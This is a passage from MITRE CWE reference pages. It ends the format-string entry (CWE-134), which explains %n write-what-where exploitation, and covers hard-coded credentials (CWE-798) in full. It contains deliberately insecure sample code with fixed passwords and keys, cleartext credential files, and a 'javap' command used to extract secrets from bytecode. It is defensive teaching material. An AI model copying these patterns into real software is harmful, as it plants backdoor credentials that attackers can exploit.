Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Functional Areas

Logging
Error Handling
String Processing

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	808	2010 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	865	2011 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Applicable Platform

This weakness is possible in any programming language that support format strings.

Research Gap

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

Other

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.

Frequently targeted entities are file names, process names, identifiers.

Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Format string vulnerability
7 Pernicious Kingdoms			Format String
CLASP			Format string problem
CERT C Secure Coding	FIO30-C	Exact	Exclude user input from format strings
CERT C Secure Coding	FIO47-C	CWE More Specific	Use valid format strings
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
WASC	6		Format String
The CERT Oracle Secure Coding Standard for Java (2011)	IDS06-J		Exclude user input from format strings
SEI CERT Perl Coding Standard	IDS30-PL	Exact	Exclude user input from format strings
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-134

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-135	Format String Injection
CAPEC-67	String Format Overflow in syslog()

References

[REF-116] Steve Christey. "Format String Vulnerabilities in Perl Programs". <https://seclists.org/fulldisclosure/2005/Dec/91>. URL validated: 2023-04-07.

[REF-117] Hal Burch and Robert C. Seacord. "Programming Language Format String Vulnerabilities". <https://drdobbs.com/security/programming-language-format-string-vulne/197002914>. URL validated: 2023-04-07.

[REF-118] Tim Newsham. "Format String Attacks". Guardent. 2000-09-09. <http://www.thenewsh.com/~newsham/format-string-attacks.pdf>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Format String Bugs" Page 147. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 6: Format String Problems." Page 109. McGraw-Hill. 2010.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C Format Strings", Page 422. 1st Edition. Addison Wesley. 2006.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-134. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Detection_Factors, Modes_of_Introduction, Relationships, Other_Notes, Research_Gaps, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Relationships
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-07-17	KDM Analytics
2009-07-17	Improved the White_Box_Definition
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated White_Box_Definitions
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Detection_Factors, References, Relationships, Taxonomy_Mappings
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Modes_of_Introduction, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Observed_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Demonstrative_Examples, Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Description, Modes_of_Introduction, Name, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Causal_Nature, Functional_Areas, Likelihood_of_Exploit, Other_Notes, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Detection_Factors, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Common_Consequences, Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Potential_Mitigations, Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2015-12-07	Uncontrolled Format String

Weakness ID: 798

View customized information:

Description

Extended Description

Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the product administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the product contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.

Outbound: the product connects to another system or component, and it contains hard-coded credentials for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	344	Use of Invariant Value in Dynamically Changing Context
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	671	Lack of Administrator Control over Security
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1391	Use of Weak Credentials
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	259	Use of Hard-coded Password
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	321	Use of Hard-coded Cryptographic Key
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	257	Storing Passwords in a Recoverable Format

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	255	Credentials Management Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	320	Key Management Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	287	Improper Authentication

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1010	Authenticate Actors

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	259	Use of Hard-coded Password
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	321	Use of Hard-coded Cryptographic Key

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	259	Use of Hard-coded Password
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	321	Use of Hard-coded Cryptographic Key

Modes Of Introduction

Phase	Note
Architecture and Design	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Access Control	Technical Impact: Bypass Protection Mechanism If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question.
Integrity Confidentiality Availability Access Control Other	Technical Impact: Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands; Other This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code uses a hard-coded password to connect to a database:

(bad code)

Example Language: Java

...
DriverManager.getConnection(url, "scott", "tiger");
...

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

(attack code)

javap -c ConnMngr.class

22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger

Example 2

The following code is an example of an internal hard-coded password in the back-end:

(bad code)

Example Language: C

int VerifyAdmin(char *password) {

if (strcmp(password, "Mew!")) {

printf("Incorrect Password!\n");
return(0)

}
printf("Entering Diagnostic Mode...\n");
return(1);

}

(bad code)

Example Language: Java

int VerifyAdmin(String password) {

if (!password.equals("Mew!")) {

return(0)

}
//Diagnostic Mode
return(1);

}

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3

The following code examples attempt to verify a password using a hard-coded cryptographic key.

(bad code)

Example Language: C

int VerifyAdmin(char *password) {

if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {

printf("Incorrect Password!\n");
return(0);

}
printf("Entering Diagnostic Mode...\n");
return(1);

}

(bad code)

Example Language: Java

public boolean VerifyAdmin(String password) {

if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {

System.out.println("Entering Diagnostic Mode...");
return true;

}
System.out.println("Incorrect Password!");
return false;

(bad code)

Example Language: C#

int VerifyAdmin(String password) {

if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {

Console.WriteLine("Entering Diagnostic Mode...");
return(1);

}
Console.WriteLine("Incorrect Password!");
return(0);

}

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 4

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)

Example Language: Java

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)

Example Language: ASP.NET

...
<connectionStrings>

</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 5

Multiple vendors used hard-coded credentials in their OT products.

Observed Examples

Reference	Description
CVE-2022-29953	Condition Monitor firmware has a maintenance interface with hard-coded credentials
CVE-2022-29960	Engineering Workstation uses hard-coded cryptographic keys that could allow for unathorized filesystem access and privilege escalation
CVE-2022-29964	Distributed Control System (DCS) has hard-coded passwords for local shell access
CVE-2022-30997	Programmable Logic Controller (PLC) has a maintenance service that uses undocumented, hard-coded credentials
CVE-2022-30314	Firmware for a Safety Instrumented System (SIS) has hard-coded credentials for access to boot configuration
CVE-2022-30271	Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used in typical deployments
CVE-2021-37555	Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288]
CVE-2021-35033	Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
CVE-2012-3503	Installation script has a hard-coded secret token value, allowing attackers to bypass authentication
CVE-2010-2772	SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm
CVE-2010-2073	FTP server library uses hard-coded usernames and passwords for three default accounts
CVE-2010-1573	Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code
CVE-2008-2369	Server uses hard-coded authentication key
CVE-2008-0961	Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface
CVE-2008-1160	Security appliance uses hard-coded password allowing attackers to gain root access
CVE-2006-7142	Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs
CVE-2005-3716	VoIP product uses hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information
CVE-2005-3803	VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information
CVE-2005-0496	Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system

Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7].

In Windows environments, the Encrypted File System (EFS) may provide some protection.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

Phase: Architecture and Design

If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash.

Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete.

The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Black Box

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

Effectiveness: Moderate

Automated Static Analysis

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

Manual Static Analysis

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the product, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Dynamic Analysis

For hard-coded credentials in incoming authentication: use monitoring tools that examine the product's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the product was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Network Sniffer

Forced Path Execution

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	254	7PK - Security Features
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	753	2009 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	803	2010 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	866	2011 Top 25 - Porous Defenses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC03-J	Never hard code sensitive information
OMG ASCSM	ASCSM-CWE-798
ISA/IEC 62443	Part 3-3	Req SR 1.5
ISA/IEC 62443	Part 4-2	Req CR 1.5

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-191	Read Sensitive Constants Within an Executable
CAPEC-70	Try Common or Default Usernames and Passwords

References

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Key Management Issues" Page 272. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-729] Johannes Ullrich. "Top 25 Series - Rank 11 - Hardcoded Credentials". SANS Software Security Institute. 2010-03-10. <https://www.sans.org/blog/top-25-series-rank-11-hardcoded-credentials/>. URL validated: 2023-04-07.

[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-798. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

[REF-1288] Julia Lokrantz. "Ethical hacking of a Smart Automatic Feed Dispenser". 2021-06-07. <http://kth.diva-portal.org/smash/get/diva2:1561552/FULLTEXT01.pdf>.

[REF-1304] ICS-CERT. "ICS Alert (ICS-ALERT-13-164-01): Medical Devices Hard-Coded Passwords". 2013-06-13. <https://www.cisa.gov/news-events/ics-alerts/ics-alert-13-164-01>. URL validated: 2023-04-07.

Content History

Submissions
Submission Date	Submitter	Organization
2010-01-15 (CWE 1.8, 2010-02-16)	CWE Content Team	MITRE
2010-01-15 (CWE 1.8, 2010-02-16)	More abstract entry for hard-coded password and hard-coded cryptographic key.
Contributions
Contribution Date	Contributor	Organization
2023-01-24 (CWE 4.10, 2023-01-31)	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-01-24 (CWE 4.10, 2023-01-31)	Suggested mappings to ISA/IEC 62443.
Modifications
Modification Date	Modifier	Organization
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Description
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Observed_Examples, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Demonstrative_Examples, Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Applicable_Platforms, References
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Demonstrative_Examples, Detection_Factors
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Detection_Factors, Maintenance_Notes, Potential_Mitigations, Taxonomy_Mappings
